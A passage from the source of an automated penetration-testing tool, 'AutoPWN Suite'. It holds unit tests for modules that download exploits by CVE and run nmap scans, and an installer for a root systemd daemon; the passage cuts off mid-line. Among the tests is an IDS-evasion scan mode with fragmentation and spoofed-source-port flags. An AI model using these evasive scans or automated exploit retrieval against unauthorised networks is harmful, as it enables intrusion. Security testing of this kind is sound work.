{"Content-Disposition": 'attachment; filename="12345.txt"'} 92 | mock_get.return_value = mock_response 93 | 94 | content, filename = GetExploitContents("http://example.com/exploit", MagicMock()) 95 | 96 | assert content == b"exploit code" 97 | assert filename == '12345.txt"' 98 | 99 | @patch("modules.getexploits.get", side_effect=ConnectionError("Download failed")) 100 | def test_get_exploit_contents_connection_error(self, mock_get): 101 | """Verify a connection error is handled gracefully.""" 102 | mock_log = MagicMock() 103 | link = "http://example.com/exploit" 104 | content, filename = GetExploitContents(link, mock_log) 105 | 106 | assert content is None 107 | assert filename is None 108 | mock_log.logger.assert_called_with("error", f"Connection error raised while trying to fetch: {link}") 109 | 110 | @patch("modules.getexploits.random_user_agent") 111 | @patch("modules.getexploits.get") 112 | def test_get_exploit_contents_missing_header(self, mock_get, mock_ua): 113 | """Verify it handles a response missing the Content-Disposition header.""" 114 | mock_ua.return_value = iter(["Test-UA"]) 115 | mock_response = MagicMock() 116 | mock_response.content = b"exploit code" 117 | mock_response.headers = {} # No Content-Disposition header 118 | mock_get.return_value = mock_response 119 | mock_log = MagicMock() 120 | 121 | link = "http://example.com/exploit" 122 | content, filename = GetExploitContents(link, mock_log) 123 | assert content is None 124 | assert filename is None 125 | mock_log.logger.assert_called_with("error", f"Unable to retrieve contents of {link} Test-UA") 126 | 127 | 128 | @pytest.mark.unit 129 | class TestGetExploitAsFile: 130 | """Tests for the GetExploitAsFile function.""" 131 | 132 | @pytest.fixture 133 | def mock_log_console_status(self): 134 | """Fixture for mocked log, console, and status objects.""" 135 | return MagicMock(), MagicMock(), MagicMock() 136 | 137 | @patch("modules.getexploits.open", new_callable=mock_open) 138 | @patch("modules.getexploits.mkdir") 139 | @patch("modules.getexploits.exists", return_value=False) 140 | @patch("modules.getexploits.GetExploitContents") 141 | @patch("modules.getexploits.GetExploitInfo") 142 | def test_get_exploit_as_file_success(self, mock_get_info, mock_get_contents, mock_exists, mock_mkdir, mock_open_file, mock_log_console_status): 143 | """Verify an exploit is correctly downloaded and saved on the happy path.""" 144 | mock_log, mock_console, mock_status = mock_log_console_status 145 | mock_vuln_software = MagicMock(title="TestSoftware", CVEs=["CVE-2023-1234"]) 146 | mock_exploit_info = MagicMock(ExploitDBID=12345, Link="http://example.com/exploit") 147 | mock_get_info.return_value = [mock_exploit_info] 148 | mock_get_contents.return_value = (b"exploit_content", '12345.txt"') 149 | 150 | GetExploitAsFile(mock_vuln_software, mock_log, mock_console, mock_status) 151 | 152 | # Verify directories were created 153 | expected_dir_calls = [ 154 | call("exploits"), 155 | call("exploits/TestSoftware"), 156 | call("exploits/TestSoftware/CVE-2023-1234"), 157 | ] 158 | mock_mkdir.assert_has_calls(expected_dir_calls) 159 | 160 | # Verify the file was opened and written to 161 | mock_open_file.assert_called_once_with('exploits/TestSoftware/CVE-2023-1234/12345.txt"', "wb") 162 | mock_open_file().write.assert_called_once_with(b"exploit_content") 163 | 164 | @patch("modules.getexploits.GetExploitInfo", return_value=[]) 165 | def test_get_exploit_as_file_no_exploits(self, mock_get_info, mock_log_console_status): 166 | """Verify nothing is downloaded if GetExploitInfo returns no exploits.""" 167 | mock_log, mock_console, mock_status = mock_log_console_status 168 | mock_vuln_software = MagicMock(title="TestSoftware", CVEs=["CVE-2023-NONE"]) 169 | 170 | with patch("modules.getexploits.open") as mock_open_file: 171 | GetExploitAsFile(mock_vuln_software, mock_log, mock_console, mock_status) 172 | mock_open_file.assert_not_called() 173 | 174 | @patch("modules.getexploits.GetExploitContents", return_value=(None, None)) 175 | @patch("modules.getexploits.GetExploitInfo") 176 | def test_get_exploit_as_file_no_content(self, mock_get_info, mock_get_contents, mock_log_console_status): 177 | """Verify nothing is downloaded if GetExploitContents returns None.""" 178 | mock_log, mock_console, mock_status = mock_log_console_status 179 | mock_vuln_software = MagicMock(title="TestSoftware", CVEs=["CVE-2023-1234"]) 180 | mock_exploit_info = MagicMock(Link="http://example.com/exploit") 181 | mock_get_info.return_value = [mock_exploit_info] 182 | 183 | with patch("modules.getexploits.open") as mock_open_file: 184 | GetExploitAsFile(mock_vuln_software, mock_log, mock_console, mock_status) 185 | mock_open_file.assert_not_called() 186 | 187 | 188 | @pytest.mark.unit 189 | class TestGetExploitsFromArray: 190 | """Tests for the GetExploitsFromArray function.""" 191 | 192 | @pytest.fixture 193 | def mock_log_consoles(self): 194 | """Fixture for mocked log and console objects.""" 195 | return MagicMock(), MagicMock(), MagicMock() 196 | 197 | @patch("modules.getexploits.open", new_callable=mock_open) 198 | @patch("modules.getexploits.mkdir") 199 | @patch("modules.getexploits.exists", return_value=False) 200 | @patch("modules.getexploits.GetExploitContents") 201 | @patch("modules.getexploits.GetExploitInfo") 202 | def test_exploit_found_and_downloaded(self, mock_get_info, mock_get_contents, mock_exists, mock_mkdir, mock_open_file, mock_log_consoles): 203 | """Verify an exploit is correctly downloaded and saved on the happy path.""" 204 | mock_log, mock_console, mock_console2 = mock_log_consoles 205 | host = "192.168.1.1" 206 | 207 | # Mock the input data 208 | mock_vuln_software = MagicMock(title="TestSoftware", CVEs=["CVE-2023-1234"]) 209 | mock_exploit_info = MagicMock(Link="http://example.com/exploit") 210 | mock_get_info.return_value = [mock_exploit_info] 211 | 212 | # Mock the downloaded content and filename 213 | mock_get_contents.return_value = (b"exploit_content", "12345.txt") 214 | 215 | GetExploitsFromArray([mock_vuln_software], mock_log, mock_console, mock_console2, host) 216 | 217 | # Verify directories were created 218 | expected_dir_calls = [ 219 | call("exploits"), 220 | call("exploits/TestSoftware"), 221 | call("exploits/TestSoftware/CVE-2023-1234"), 222 | ] 223 | mock_mkdir.assert_has_calls(expected_dir_calls) 224 | 225 | # Verify the file was opened and written to 226 | mock_open_file.assert_called_once_with("exploits/TestSoftware/CVE-2023-1234/12345.txt", "wb") 227 | mock_open_file().write.assert_called_once_with(b"exploit_content") 228 | 229 | @patch("modules.getexploits.GetExploitInfo", return_value=[]) 230 | def test_no_exploits_found(self, mock_get_info, mock_log_consoles): 231 | """Verify nothing happens if no exploits are found for a CVE.""" 232 | mock_log, mock_console, mock_console2 = mock_log_consoles 233 | mock_vuln_software = MagicMock(CVEs=["CVE-2023-NONE"]) 234 | 235 | GetExploitsFromArray([mock_vuln_software], mock_log, mock_console, mock_console2, "host") 236 | 237 | mock_log.logger.assert_not_called() 238 | 239 | @patch("modules.getexploits.get", side_effect=ConnectionError("Download failed")) 240 | @patch("modules.getexploits.GetExploitInfo") 241 | def test_download_connection_error(self, mock_get_info, mock_get, mock_log_consoles): 242 | """Verify a download connection error is handled gracefully.""" 243 | mock_log, mock_console, mock_console2 = mock_log_consoles 244 | exploit_link = "http://example.com/exploit" 245 | mock_vuln_software = MagicMock(CVEs=["CVE-2023-1234"]) 246 | mock_get_info.return_value = [MagicMock(ExploitDBID=12345, Link=exploit_link)] 247 | 248 | GetExploitsFromArray([mock_vuln_software], mock_log, mock_console, mock_console2, "host") 249 | 250 | mock_log.logger.assert_called_with("error", f"Connection error raised while trying to fetch: {exploit_link}") -------------------------------------------------------------------------------- /tests/unit/test_scanner.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the scanner module. 3 | """ 4 | from unittest.mock import MagicMock, patch, call 5 | 6 | import pytest 7 | 8 | from modules.scanner import ( 9 | AnalyseScanResults, 10 | DiscoverHosts, 11 | NoiseScan, 12 | InitPortInfo, 13 | InitHostInfo, 14 | PortScan, 15 | TargetInfo, 16 | TestArp, 17 | TestPing, 18 | ) 19 | from modules.utils import ScanMode, ScanType 20 | 21 | 22 | @pytest.fixture 23 | def mock_port_scanner(): 24 | """Fixture for a mocked nmap.PortScanner.""" 25 | with patch("modules.scanner.PortScanner") as mock_scanner_class: 26 | mock_instance = MagicMock() 27 | mock_scanner_class.return_value = mock_instance 28 | yield mock_instance 29 | 30 | 31 | @pytest.mark.unit 32 | class TestDiscoveryFunctions: 33 | """Tests for host discovery functions like TestPing and TestArp.""" 34 | 35 | def test_test_ping_normal_mode(self, mock_port_scanner): 36 | """Verify TestPing calls nmap with correct arguments in normal mode.""" 37 | target = "192.168.1.1" 38 | mock_port_scanner.all_hosts.return_value = [target] 39 | 40 | hosts = TestPing(target) 41 | 42 | mock_port_scanner.scan.assert_called_once_with(hosts=target, arguments="-sn") 43 | assert hosts == [target] 44 | 45 | @patch("modules.scanner.is_root", return_value=True) 46 | def test_test_arp_evade_mode(self, mock_is_root, mock_port_scanner): 47 | """Verify TestArp calls nmap with correct arguments in evade mode.""" 48 | target = "192.168.1.0/24" 49 | TestArp(target, mode=ScanMode.Evade) 50 | 51 | mock_port_scanner.scan.assert_called_once_with( 52 | hosts=target, arguments="-sn -PR -T 2 -f -g 53 --data-length 10" 53 | ) 54 | 55 | @patch("modules.scanner.TestArp") 56 | @patch("modules.scanner.TestPing") 57 | def test_discover_hosts_uses_arp(self, mock_test_ping, mock_test_arp): 58 | """Verify DiscoverHosts calls TestArp when specified.""" 59 | target = "192.168.1.0/24" 60 | mock_console = MagicMock() 61 | DiscoverHosts(target, mock_console, scantype=ScanType.ARP) 62 | 63 | mock_test_arp.assert_called_once() 64 | mock_test_ping.assert_not_called() 65 | 66 | 67 | @pytest.mark.unit 68 | class TestPortScan: 69 | """Tests for the PortScan function.""" 70 | 71 | @patch("modules.scanner.is_root", return_value=True) 72 | def test_port_scan_as_root(self, mock_is_root, mock_port_scanner): 73 | """Verify PortScan uses sudo arguments when run as root.""" 74 | target = "127.0.0.1" 75 | mock_log = MagicMock() 76 | 77 | PortScan(target, mock_log, scanspeed=4, customflags="-A") 78 | 79 | # Note: The arguments are joined with spaces, so we check for substrings. 80 | kwargs = mock_port_scanner.scan.call_args.kwargs 81 | assert "-sS" in kwargs["arguments"] 82 | assert "-O" in kwargs["arguments"] 83 | assert "-T 4" in kwargs["arguments"] 84 | assert "-A" in kwargs["arguments"] 85 | 86 | @patch("modules.scanner.is_root", return_value=False) 87 | def test_port_scan_as_non_root(self, mock_is_root, mock_port_scanner): 88 | """Verify PortScan does not use sudo arguments when not root.""" 89 | target = "127.0.0.1" 90 | mock_log = MagicMock() 91 | 92 | PortScan(target, mock_log) 93 | 94 | kwargs = mock_port_scanner.scan.call_args.kwargs 95 | assert "-sS" not in kwargs["arguments"] 96 | assert "-O" not in kwargs["arguments"] 97 | 98 | 99 | @pytest.mark.unit 100 | class TestResultParsing: 101 | """Tests for functions that parse nmap results.""" 102 | 103 | def test_init_host_info_full_data(self, mock_nmap_result): 104 | """Verify InitHostInfo parses a complete nmap result.""" 105 | target_key = mock_nmap_result["scan"]["192.168.1.1"] 106 | # Add some OS data to the mock 107 | target_key["vendor"] = ["TestVendor"] 108 | target_key["osmatch"] = [ 109 | { 110 | "name": "Linux 5.4", 111 | "accuracy": "100", 112 | "osclass": [{"type": "general purpose"}], 113 | } 114 | ] 115 | 116 | info = InitHostInfo(target_key) 117 | 118 | assert isinstance(info, TargetInfo) 119 | assert info.vendor == "TestVendor" 120 | assert info.os == "Linux 5.4" 121 | 122 | def test_init_host_info_missing_data(self): 123 | """Verify InitHostInfo handles missing keys gracefully.""" 124 | info = InitHostInfo({}) # Empty dictionary 125 | assert info.mac == "Unknown" 126 | assert info.vendor == "Unknown" 127 | assert info.os == "Unknown" 128 | 129 | def test_init_port_info_full_data(self): 130 | """Verify InitPortInfo parses a complete port data dictionary.""" 131 | port_data = { 132 | "state": "open", 133 | "name": "http", 134 | "product": "Apache httpd", 135 | "version": "2.4.41", 136 | } 137 | state, service, product, version = InitPortInfo(port_data) 138 | assert state == "open" 139 | assert service == "http" 140 | assert product == "Apache httpd" 141 | assert version == "2.4.41" 142 | 143 | def test_init_port_info_partial_data(self): 144 | """Verify InitPortInfo handles empty strings and falls back to 'Unknown'.""" 145 | port_data = {"state": "open", "name": "http", "product": "", "version": ""} 146 | state, service, product, version = InitPortInfo(port_data) 147 | assert state == "open" 148 | assert service == "http" 149 | assert product == "Unknown" 150 | assert version == "Unknown" 151 | 152 | def test_analyse_scan_results_host_offline(self, mock_rich_console): 153 | """Verify it handles an offline host (KeyError) gracefully.""" 154 | mock_log = MagicMock() 155 | mock_scanner_obj = MagicMock() 156 | mock_scanner_obj.__getitem__.side_effect = KeyError 157 | 158 | host_array = AnalyseScanResults(mock_scanner_obj, mock_log, mock_rich_console, "192.168.1.99") 159 | 160 | assert host_array == [] 161 | mock_log.logger.assert_called_with("warning", "Target 192.168.1.99 seems to be offline.") 162 | 163 | def test_analyse_scan_results_no_open_ports(self, mock_nmap_result, mock_rich_console): 164 | """Verify it handles a host with no open TCP ports.""" 165 | mock_log = MagicMock() 166 | target_ip = "192.168.1.1" 167 | 168 | mock_host_result = MagicMock() 169 | mock_host_result.all_tcp.return_value = [] # No open ports 170 | mock_scanner_obj = MagicMock() 171 | mock_scanner_obj.__getitem__.return_value = mock_host_result 172 | 173 | host_array = AnalyseScanResults(mock_scanner_obj, mock_log, mock_rich_console, target_ip) 174 | 175 | assert host_array == [] 176 | mock_log.logger.assert_called_with("warning", f"Target {target_ip} seems to have no open ports.") 177 | # Ensure no table was printed 178 | mock_rich_console.print.assert_not_called() 179 | 180 | @patch("modules.scanner.is_root", return_value=True) 181 | def test_analyse_scan_results_localhost_detection(self, mock_is_root, mock_nmap_result, mock_rich_console): 182 | """Verify it logs a message when scanning the local host.""" 183 | mock_log = MagicMock() 184 | target_ip = "127.0.0.1" 185 | host_data = {"status": {"reason": "localhost-response"}, "tcp": {}} 186 | 187 | # Create a mock for the host-specific result object 188 | mock_host_result = MagicMock() 189 | mock_host_result.all_tcp.return_value = [] # Simulate no open ports 190 | mock_host_result.__getitem__.side_effect = host_data.__getitem__ 191 | 192 | mock_scanner_obj = MagicMock() 193 | mock_scanner_obj.__getitem__.return_value = mock_host_result 194 | 195 | AnalyseScanResults(mock_scanner_obj, mock_log, mock_rich_console, target_ip) 196 | 197 | mock_log.logger.assert_any_call("info", f"Target {target_ip} seems to be us.") 198 | 199 | @patch("modules.scanner.Table") 200 | def test_analyse_scan_results_table_content(self, mock_table_class, mock_nmap_result, mock_rich_console): 201 | """Verify the content of the results table is correct.""" 202 | mock_log = MagicMock() 203 | target_ip = "192.168.1.1" 204 | mock_table_instance = MagicMock() 205 | mock_table_class.return_value = mock_table_instance 206 | 207 | # Create a mock for the result of nm[target] 208 | mock_host_result = MagicMock() 209 | mock_host_result.__getitem__.side_effect = mock_nmap_result["scan"][target_ip].__getitem__ 210 | mock_host_result.all_tcp.return_value = list(mock_nmap_result["scan"][target_ip]["tcp"].keys()) 211 | 212 | mock_scanner_obj = MagicMock() 213 | mock_scanner_obj.__getitem__.return_value = mock_host_result 214 | 215 | AnalyseScanResults(mock_scanner_obj, mock_log, mock_rich_console, target_ip) 216 | 217 | # Verify columns were added 218 | expected_calls = [call("Port", style="cyan"), call("State", style="white"), call("Service", style="blue"), call("Product", style="red"), call("Version", style="purple")] 219 | mock_table_instance.add_column.assert_has_calls(expected_calls) 220 | 221 | # Verify the row was added with the correct data 222 | mock_table_instance.add_row.assert_called_once_with("80", "open", "http", "Apache httpd", "2.4.41") 223 | 224 | # Verify the table was printed 225 | mock_rich_console.print.assert_called_with(mock_table_instance, justify="center") 226 | 227 | def test_analyse_scan_results_no_target_provided(self, mock_nmap_result, mock_rich_console): 228 | """Verify it correctly determines the target if none is provided.""" 229 | mock_log = MagicMock() 230 | target_ip = "192.168.1.1" 231 | 232 | # Create a mock for the result of nm[target] 233 | mock_host_result = MagicMock() 234 | mock_host_result.__getitem__.side_effect = mock_nmap_result["scan"][target_ip].__getitem__ 235 | mock_host_result.all_tcp.return_value = list(mock_nmap_result["scan"][target_ip]["tcp"].keys()) 236 | 237 | # Create a mock that behaves like a PortScanner object 238 | mock_scanner_obj = MagicMock() 239 | mock_scanner_obj.all_hosts.return_value = [target_ip] # This is the key part for this test 240 | mock_scanner_obj.__getitem__.return_value = mock_host_result 241 | 242 | # Call with target=None 243 | host_array = AnalyseScanResults(mock_scanner_obj, mock_log, mock_rich_console, target=None) 244 | 245 | assert len(host_array) == 1 246 | assert host_array[0][0] == target_ip # Verify it used the correct target 247 | 248 | def test_analyse_scan_results(self, mock_nmap_result, mock_rich_console): 249 | """Verify AnalyseScanResults prints a table and returns open ports.""" 250 | mock_log = MagicMock() 251 | target_ip = "192.168.1.1" 252 | 253 | # Create a mock for the result of nm[target] 254 | mock_host_result = MagicMock() 255 | # Configure it to behave like a dictionary 256 | mock_host_result.__getitem__.side_effect = mock_nmap_result["scan"][target_ip].__getitem__ 257 | # Configure the all_tcp() method 258 | mock_host_result.all_tcp.return_value = list(mock_nmap_result["scan"][target_ip]["tcp"].keys()) 259 | 260 | # Create a mock that behaves like a PortScanner object 261 | mock_scanner_obj = MagicMock() 262 | mock_scanner_obj.__getitem__.return_value = mock_host_result 263 | 264 | host_array = AnalyseScanResults( 265 | mock_scanner_obj, mock_log, mock_rich_console, target_ip 266 | ) 267 | 268 | # Verify a table was printed 269 | mock_rich_console.print.assert_called() 270 | # Verify the open port was returned 271 | assert len(host_array) == 1 272 | assert host_array[0] == [target_ip, 80, "http", "Apache httpd", "2.4.41"] 273 | 274 | 275 | @pytest.mark.unit 276 | class TestNoiseScan: 277 | """Tests for the NoiseScan function.""" 278 | 279 | @patch("modules.scanner.sleep") 280 | @patch("modules.scanner.Process") 281 | @patch("modules.scanner.TestPing", return_value=["192.168.1.1", "192.168.1.2"]) 282 | def test_noise_scan_creates_processes(self, mock_test_ping, mock_process, mock_sleep): 283 | """Verify that NoiseScan creates a process for each discovered host.""" 284 | mock_log = MagicMock() 285 | mock_console = MagicMock() 286 | 287 | # By providing a noisetimeout, we avoid the `while True` loop. 288 | # We can then mock sleep to raise an exception after the for loop has completed. 289 | mock_sleep.side_effect = [None, SystemExit] # Allow first sleep, exit on second. 290 | 291 | with pytest.raises(SystemExit): 292 | # Provide a timeout to bypass the problematic `while True` loop 293 | NoiseScan("192.168.1.0/24", mock_log, mock_console, scantype=ScanType.Ping, noisetimeout=1) 294 | 295 | # Should be called for each of the two hosts 296 | assert mock_process.call_count == 2 297 | mock_process.return_value.start.assert_called() 298 | 299 | @patch("modules.scanner.sleep") 300 | @patch("modules.scanner.Process") 301 | @patch("modules.scanner.TestPing", return_value=["192.168.1.1"]) 302 | def test_noise_scan_with_timeout(self, mock_test_ping, mock_process, mock_sleep): 303 | """Verify that sleep is called with the correct timeout.""" 304 | mock_log = MagicMock() 305 | mock_console = MagicMock() 306 | # Mock sleep to raise an exception to exit the function after it's called. 307 | mock_sleep.side_effect = SystemExit 308 | 309 | with pytest.raises(SystemExit): 310 | NoiseScan("192.168.1.0/24", mock_log, mock_console, scantype=ScanType.Ping, noisetimeout=10) 311 | 312 | mock_sleep.assert_called_once_with(10) -------------------------------------------------------------------------------- /modules/daemon/daemon_installer.py: -------------------------------------------------------------------------------- 1 | import re, os 2 | import os 3 | import shutil 4 | import stat 5 | import subprocess 6 | import venv 7 | from pathlib import Path 8 | from modules.banners import print_banner 9 | from modules.utils import is_root 10 | from platform import system 11 | from configparser import ConfigParser 12 | 13 | def _get_menu_choice(console, prompt: str, options: dict, default: str = None) -> str: 14 | """ 15 | Displays a menu of options, gets user input, and validates it. 16 | 17 | Args: 18 | console: The Rich console object. 19 | prompt: The question to ask the user. 20 | options: A dictionary where keys are choices (e.g., '1') and 21 | values are descriptions (e.g., 'Email'). 22 | default: The default choice key to return if the user enters nothing. 23 | 24 | Returns: 25 | The key of the chosen option. 26 | """ 27 | while True: 28 | console.print(prompt) 29 | for key, value in options.items(): 30 | console.print(f" [cyan]{key}[/cyan]. {value}") 31 | choice = console.input(f"Enter your choice ({'-'.join(options.keys())}): ").strip() 32 | if default and choice == "": 33 | return default 34 | if choice in options: 35 | return choice 36 | console.print(f"[red]Invalid choice. Please enter one of {list(options.keys())}.[/red]") 37 | 38 | def _get_validated_int(console, prompt: str, default: int = None) -> int: 39 | """Gets and validates an integer input from the user.""" 40 | while True: 41 | user_input = console.input(prompt) 42 | if user_input == "" and default is not None: 43 | return default 44 | try: 45 | return int(user_input) 46 | except ValueError: 47 | console.print("[red]Invalid input. Please enter a whole number.[/red]") 48 | 49 | def _get_validated_email(console, prompt: str, allow_empty: bool = False) -> str: 50 | """Gets and validates an email address from the user.""" 51 | # A simple regex for email validation 52 | email_regex = r"^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$" 53 | while True: 54 | email = console.input(prompt) 55 | if allow_empty and email == "": 56 | return "" 57 | if email and re.match(email_regex, email): 58 | return email 59 | console.print("[red]Invalid email format. Please enter a valid email address.[/red]") 60 | 61 | def _get_non_empty_input(console, prompt: str) -> str: 62 | """Gets a non-empty string input from the user.""" 63 | while True: 64 | user_input = console.input(prompt).strip() 65 | if user_input: 66 | return user_input 67 | console.print("[red]This field cannot be empty.[/red]") 68 | 69 | def CreateConfig(console, config_filename=""): 70 | console.print("Welcome to AutoPWN Suite Config Creator!") 71 | 72 | scan_interval = _get_validated_int(console, "Enter the scan interval in [cyan]seconds[/cyan] (Set to 0 for no interval - if not using as daemon): ") 73 | 74 | report_choice = _get_menu_choice( 75 | console, 76 | "Would you like to enable email or webhook notifications?", 77 | {"1": "Email", "2": "Webhook", "3": "None"} 78 | ) 79 | 80 | if report_choice == "1": 81 | report_method = 'email' 82 | report_email = _get_validated_email(console, "Enter your [cyan]email address[/cyan]: ") 83 | report_email_password = _get_non_empty_input(console, "Enter your [cyan]email password[/cyan]: ") 84 | report_email_to = _get_validated_email(console, "Enter the email address to [cyan]send the report to[/cyan]: ") 85 | report_email_from = _get_validated_email(console, "Enter the email address to [cyan]send from[/cyan] (leave empty to use login email): ", allow_empty=True) 86 | report_email_server = _get_non_empty_input(console, "Enter the [cyan]email server[/cyan] to send the report from: ") 87 | report_email_server_port = _get_validated_int(console, "Enter the [cyan]email port[/cyan] to send the report from: ") 88 | console.print("[green]Email notifications enabled.[/green]") 89 | elif report_choice == "2": 90 | report_method = 'webhook' 91 | report_webhook = console.input("Enter your [cyan]webhook URL[/cyan]: ") 92 | console.print("[green]Webhook notifications enabled.[/green]") 93 | else: # choice == "3" 94 | report_method = 'none' 95 | console.print("[yellow]No notifications enabled.[/yellow]") 96 | 97 | target = console.input("Enter your [cyan]target[/cyan] (Leave empty for auto detection): ") 98 | host_file = console.input("Enter [cyan]host file[/cyan] (Leave empty for none - will override target): ") 99 | 100 | if target == "" and host_file == "": 101 | skip_discovery = False 102 | else: 103 | skip_discovery_input = console.input("Would you like to [cyan]skip discovery[/cyan]? (y/n) ") 104 | skip_discovery = skip_discovery_input.lower() == "y" 105 | 106 | api_key = console.input("Enter [cyan]API key[/cyan] (Leave empty for none): ") 107 | nmap_flags = console.input("Enter [cyan]nmap flags[/cyan] (Leave empty for none): ") 108 | speed = _get_validated_int(console, "Enter [cyan]speed[/cyan] (0-5, Leave empty for default): ", default=3) 109 | 110 | 111 | scan_type_choice = _get_menu_choice( 112 | console, 113 | "Pick [cyan]scan type[/cyan] for host discovery (Leave empty for ARP): ", 114 | {"1": "ARP", "2": "Ping"}, 115 | default="1" 116 | ) 117 | scan_type = "arp" if scan_type_choice == "1" else "ping" 118 | 119 | host_timeout = _get_validated_int(console, "Enter [cyan]host timeout[/cyan] (Leave empty for default): ", default=240) 120 | 121 | scan_method_choice = _get_menu_choice( 122 | console, 123 | "Enter [cyan]Scan Method[/cyan] (Leave empty for Normal): ", 124 | {"1": "Normal", "2": "Evade"}, 125 | default="1" 126 | ) 127 | scan_method = "normal" if scan_method_choice == "1" else "evade" 128 | 129 | output_folder = console.input("Enter [cyan]output folder[/cyan] (Leave empty for default): ") 130 | if output_folder == "": 131 | output_folder = "outputs" 132 | output_type = console.input("Enter [cyan]output type[/cyan] (Leave empty for html): ") 133 | if output_type == "": 134 | output_type = "html" 135 | 136 | console.print("Creating config file...") 137 | config = ConfigParser() 138 | config['AUTOPWN'] = { 139 | 'scan_interval': str(scan_interval), 140 | 'target': target, 141 | 'hostfile': host_file, 142 | 'apikey': api_key, 143 | 'scan_type': scan_type, 144 | 'nmapflags': nmap_flags, 145 | 'speed': str(speed), 146 | 'auto': True, 147 | 'skip_exploit_download': True, 148 | 'mode': scan_method, 149 | 'skip_discovery': str(skip_discovery), 150 | 'output_folder': output_folder, 151 | 'output_type': output_type, 152 | 'host_timeout': str(host_timeout), 153 | } 154 | if report_method == 'email': 155 | config['REPORT'] = { 156 | 'method': report_method, 157 | 'email': report_email, 158 | 'email_password': report_email_password, 159 | 'email_to': report_email_to, 160 | 'email_from': report_email_from or report_email, 161 | 'email_server': report_email_server, 162 | 'email_port': str(report_email_server_port) 163 | } 164 | elif report_method == 'webhook': 165 | config['REPORT'] = { 166 | 'method': report_method, 167 | 'webhook': report_webhook 168 | } 169 | 170 | 171 | if not config_filename: 172 | config_file = console.input("Enter [cyan]config file name[/cyan] (Leave empty for autopwn.conf): ") 173 | if config_file == "": 174 | config_file = "autopwn.conf" 175 | else: 176 | config_file = config_filename 177 | 178 | try: 179 | open(config_file, 'r', encoding='utf-8').close() 180 | overwrite_config = console.input(f"[yellow]Config file '{config_file}' already exists. Would you like to overwrite it?[/yellow] (y/n): ") 181 | if overwrite_config.lower() != 'y': 182 | console.print(f"[red]Config file '{config_file}' not overwritten.[/red]") 183 | return 184 | else: 185 | os.remove(config_file) 186 | with open(config_file, 'w', encoding='utf-8') as configfile: 187 | config.write(configfile) 188 | 189 | except FileNotFoundError: 190 | with open(config_file, 'w', encoding='utf-8') as configfile: 191 | config.write(configfile) 192 | 193 | 194 | console.print(f"[green]Config file '{config_file}' created successfully![/green]") 195 | 196 | def CopyFiles(console): 197 | DAEMON_INSTALL_PATH = Path("/opt/autopwn-suite") 198 | SERVICE_PATH = Path("/etc/systemd/system/autopwn-daemon.service") 199 | LOG_PATH = Path("/var/log/autopwn-daemon.log") 200 | 201 | files_to_copy = ["modules", "autopwn-daemon.conf", "autopwn.py", "api.py", "__init__.py", "requirements.txt"] 202 | 203 | try: 204 | console.print(f"Creating install directory: {DAEMON_INSTALL_PATH}") 205 | DAEMON_INSTALL_PATH.mkdir(parents=True, exist_ok=True) 206 | except Exception as e: 207 | console.print(f"[red]Failed to create install directory {DAEMON_INSTALL_PATH}: {e}[/red]") 208 | return 209 | 210 | # Copy repo files 211 | console.print("Copying files...") 212 | cwd = Path.cwd() 213 | for item in files_to_copy: 214 | src = cwd / item 215 | dst = DAEMON_INSTALL_PATH / item 216 | try: 217 | if not src.exists(): 218 | console.print(f"[yellow]Warning: {src} does not exist — skipping[/yellow]") 219 | continue 220 | 221 | if src.is_dir(): 222 | if dst.exists(): 223 | shutil.rmtree(dst) 224 | shutil.copytree(src, dst) 225 | else: 226 | shutil.copy2(src, dst) 227 | console.print(f"[green]Copied {src} -> {dst}[/green]") 228 | except Exception as e: 229 | console.print(f"[red]Error copying {src} -> {dst}: {e}[/red]") 230 | return 231 | 232 | # Optionally copy helper script if exists 233 | try: 234 | daemon_sh_src = cwd / "modules" / "daemon" / "autopwn-daemon.sh" 235 | if daemon_sh_src.exists(): 236 | daemon_sh_dst = DAEMON_INSTALL_PATH / "autopwn-daemon.sh" 237 | shutil.copy2(daemon_sh_src, daemon_sh_dst) 238 | daemon_sh_dst.chmod(daemon_sh_dst.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) 239 | console.print(f"[green]Copied and marked executable: {daemon_sh_dst}[/green]") 240 | except Exception as e: 241 | console.print(f"[yellow]Warning copying optional daemon script: {e}[/yellow]") 242 | 243 | # Create virtualenv 244 | venv_dir = DAEMON_INSTALL_PATH / ".venv" 245 | try: 246 | if not venv_dir.exists(): 247 | console.print(f"Creating virtualenv at {venv_dir} ...") 248 | builder = venv.EnvBuilder(with_pip=True) 249 | builder.create(str(venv_dir)) 250 | console.print(f"[green]Virtualenv created at {venv_dir}[/green]") 251 | else: 252 | console.print(f"[yellow]Virtualenv already exists at {venv_dir}, skipping creation.[/yellow]") 253 | except Exception as e: 254 | console.print(f"[red]Failed to create virtualenv: {e}[/red]") 255 | return 256 | 257 | # Install dependencies into venv 258 | req_file = DAEMON_INSTALL_PATH / "requirements.txt" 259 | if req_file.exists(): 260 | console.print(f"Installing requirements from {req_file} ...") 261 | pip_exe = venv_dir / "bin" / "pip" 262 | try: 263 | subprocess.check_call([str(pip_exe), "install", "--upgrade", "pip", "setuptools", "wheel"]) 264 | subprocess.check_call([str(pip_exe), "install", "-r", str(req_file)]) 265 | console.print("[green]Dependencies installed.[/green]") 266 | except subprocess.CalledProcessError as e: 267 | console.print(f"[red]pip install failed: {e}[/red]") 268 | return 269 | else: 270 | console.print("[yellow]No requirements.txt found; skipping dependency install.[/yellow]") 271 | 272 | # Ensure entrypoint executable 273 | entrypoint = DAEMON_INSTALL_PATH / "autopwn.py" 274 | if entrypoint.exists(): 275 | entrypoint.chmod(entrypoint.stat().st_mode | stat.S_IXUSR) 276 | console.print(f"[green]Marked entrypoint executable: {entrypoint}[/green]") 277 | 278 | # Create log file 279 | try: 280 | if not LOG_PATH.exists(): 281 | LOG_PATH.parent.mkdir(parents=True, exist_ok=True) 282 | LOG_PATH.touch() 283 | LOG_PATH.chmod(0o664) 284 | console.print(f"[green]Created log file: {LOG_PATH}[/green]") 285 | except Exception as e: 286 | console.print(f"[yellow]Warning: could not create log file {LOG_PATH}: {e}[/yellow]") 287 | 288 | # Write systemd service file — runs Python from venv, restarts automatically 289 | service_content = f""" 290 | [Unit] 291 | Description=AutoPWN Suite Daemon 292 | After=network.target 293 | Wants=network-online.target 294 | 295 | [Service] 296 | Type=simple 297 | User=root 298 | WorkingDirectory={DAEMON_INSTALL_PATH} 299 | ExecStart={venv_dir}/bin/python {DAEMON_INSTALL_PATH}/autopwn.py -c 